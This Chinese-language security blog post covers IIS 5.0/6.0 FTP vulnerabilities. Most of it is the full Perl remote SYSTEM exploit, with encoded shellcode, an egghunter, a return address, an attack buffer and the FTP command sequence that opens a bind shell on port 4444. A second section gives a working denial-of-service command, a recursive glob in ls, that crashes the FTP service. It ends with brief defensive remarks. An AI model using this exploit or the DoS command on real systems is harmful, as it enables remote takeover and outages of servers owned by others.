FTP微软喊你回家吃饭
发布:admin | 发布时间: 2010年1月23日现实生活中的信息安全一直不断验证那句俗语“春困夏乏秋无力，冬日正好眠”，随着夏季的来临,昼长夜短,天气炎热,大洋彼岸的安全组织仍在昼伏夜出寻找“Exploit”。或许是炎日烤化了微软FTP表面那层精装修的柏油，总之这个9月，身体健康的IIS“中暑”了。
漏洞一、IIS 5.0/5.1/6.0 Ftp服务存在安全漏洞
9月，微软确认IIS 5.0/5.1/6.0中存在安全漏洞并公布了受此漏洞影响的系统：IIS 5.0（Windows 2000）、IIS 5.1（Windows XP）和IIS 6.0（Windows Server 2003）。IIS 7.0（Windows Vista、Windows Server 2008）则不受此漏洞影响。IIS 6.0所受的威胁相比IIS 5.0/5.1较小，因为它构建在/GS之上，微软表示目前还没有发现利用此漏洞的攻击代码可以绕过/GS防护的。
从以上概述来说，目前可以直接利用此漏洞系统的为Winows 2000，既是已经补上SP4。
以下是国外论坛公布出的攻击代码：
#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2<at>googlemail.com
# Affects IIS6 with stack cookie protection
# Modded by muts, additional egghunter added for secondary larger payload
# Might take a minute or two for the egg to be found.
# Opens bind shell on port 4444
# http://www.offensive-security.com/0day/msftp.pl.txt
use IO::Socket;
$|=1;
$sc = "\x89\xe2\xdd\xc5\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" .
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" .
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" .
"\x50\x38\x41\x43\x4a\x4a\x49\x45\x36\x4d\x51\x48\x4a\x4b\x4f" .
"\x44\x4f\x47\x32\x46\x32\x42\x4a\x43\x32\x46\x38\x48\x4d\x46" .
"\x4e\x47\x4c\x45\x55\x51\x4a\x44\x34\x4a\x4f\x48\x38\x46\x34" .
"\x50\x30\x46\x50\x50\x57\x4c\x4b\x4b\x4a\x4e\x4f\x44\x35\x4a" .
"\x4a\x4e\x4f\x43\x45\x4b\x57\x4b\x4f\x4d\x37\x41\x41";
# ./msfpayload windows/shell_bind_tcp R | ./msfencode -e x86/shikata_ga_nai -b "\x00\x0a\x0d"
$shell="T00WT00W" ."\xda\xde\xbd\x2d\xe7\x9b\x9f\x2b\xc9\xb1\x56\xd9\x74\x24\xf4" .
"\x5a\x83\xea\xfc\x31\x6a\x15\x03\x6a\x15\xcf\x12\x67\x77\x86" .
"\xdd\x98\x88\xf8\x54\x7d\xb9\x2a\x02\xf5\xe8\xfa\x40\x5b\x01" .
"\x71\x04\x48\x92\xf7\x81\x7f\x13\xbd\xf7\x4e\xa4\x70\x38\x1c" .
"\x66\x13\xc4\x5f\xbb\xf3\xf5\xaf\xce\xf2\x32\xcd\x21\xa6\xeb" .
"\x99\x90\x56\x9f\xdc\x28\x57\x4f\x6b\x10\x2f\xea\xac\xe5\x85" .
"\xf5\xfc\x56\x92\xbe\xe4\xdd\xfc\x1e\x14\x31\x1f\x62\x5f\x3e" .
"\xeb\x10\x5e\x96\x22\xd8\x50\xd6\xe8\xe7\x5c\xdb\xf1\x20\x5a" .
"\x04\x84\x5a\x98\xb9\x9e\x98\xe2\x65\x2b\x3d\x44\xed\x8b\xe5" .
"\x74\x22\x4d\x6d\x7a\x8f\x1a\x29\x9f\x0e\xcf\x41\x9b\x9b\xee" .
"\x85\x2d\xdf\xd4\x01\x75\xbb\x75\x13\xd3\x6a\x8a\x43\xbb\xd3" .
"\x2e\x0f\x2e\x07\x48\x52\x27\xe4\x66\x6d\xb7\x62\xf1\x1e\x85" .
"\x2d\xa9\x88\xa5\xa6\x77\x4e\xc9\x9c\xcf\xc0\x34\x1f\x2f\xc8" .
"\xf2\x4b\x7f\x62\xd2\xf3\x14\x72\xdb\x21\xba\x22\x73\x9a\x7a" .
"\x93\x33\x4a\x12\xf9\xbb\xb5\x02\x02\x16\xc0\x05\xcc\x42\x80" .
"\xe1\x2d\x75\x36\xad\xb8\x93\x52\x5d\xed\x0c\xcb\x9f\xca\x84" .
"\x6c\xe0\x38\xb9\x25\x76\x74\xd7\xf2\x79\x85\xfd\x50\xd6\x2d" .
"\x96\x22\x34\xea\x87\x34\x11\x5a\xc1\x0c\xf1\x10\xbf\xdf\x60" .
"\x24\xea\x88\x01\xb7\x71\x49\x4c\xa4\x2d\x1e\x19\x1a\x24\xca" .
"\xb7\x05\x9e\xe9\x4a\xd3\xd9\xaa\x90\x20\xe7\x33\x55\x1c\xc3" .
"\x23\xa3\x9d\x4f\x10\x7b\xc8\x19\xce\x3d\xa2\xeb\xb8\x97\x19" .
"\xa2\x2c\x6e\x52\x75\x2b\x6f\xbf\x03\xd3\xc1\x16\x52\xeb\xed" .
"\xfe\x52\x94\x10\x9f\x9d\x4f\x91\xbf\x7f\x5a\xef\x57\x26\x0f" .
"\x52\x3a\xd9\xe5\x90\x43\x5a\x0c\x68\xb0\x42\x65\x6d\xfc\xc4" .
"\x95\x1f\x6d\xa1\x99\x8c\x8e\xe0\x90";
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
print "usage: iiz5.pl <target> <your local ip>\n";
exit(0);
}
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;
if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '21',
Proto => 'tcp');
$patch = "\x7E\xF1\xFA\x7F";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
"HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;
print $sock "USER anonimoos\r\n";
$x = <$sock>;
print $x;
print $sock "PASS $shell\r\n";
$x = <$sock>;
print $x;
print $sock "USER anonimoos\r\n";
$x = <$sock>;
print $x;
print $sock "PASS $shell\r\n";
$x = <$sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = <$sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
print $_;
}
close($servsock);
}
#Cheerio,
#
#Kingcope
漏洞二、还是FTP漏洞，拒绝服务
Microsoft IIS 5.0/6.0 FTP Server (Stack Exhaustion) Denial of Service
There is a DoS vulnerability in the globbing functionality of IIS FTPD.
Anonymous users can exploit this if they have read access to a directory!!!
Normal users can exploit this too if they can read a directory.
Example session where the anonymous user has read access to the folder "pub":
利用样例：
C:\Users\Nikolaos>ftp 192.168.2.102
Verbindung mit 192.168.2.102 wurde hergestellt.
220 Microsoft FTP Service
Benutzer (192.168.2.102:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Kennwort:
230 Anonymous user logged in.
ftp> ls "-R p*/../"
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
p*/../pub:
pub
...
Verbindung beendet durch Remotehost. (MEANS: Remote Host has closed
the connection)
ftp>
ftp>
By looking into my debugging session with OllyDbg I see that an exception is raised and
the ftp service crashes due to a "stack overflow", what is a stack exhaustion.
If the ftp service is set to "manual" startup in services control manager the service
needs to be restarted manually.
IIS 5.0 and 6.0 were tested and are affected.
Best Regards,
Nikolaos Rangos
IIS近年较少出现文中第一个0day那么严重的漏洞，较多都是些字符转换，后缀名解析方面的小漏洞，microsoft-ftp-server-remote-exploit，虽然已有论坛做出利用工具，好在如今使用IIS5.0的企业少之又少。当您发现诸如4444端口被开启时，或许您得考虑是否要安装一套完善的防火墙。
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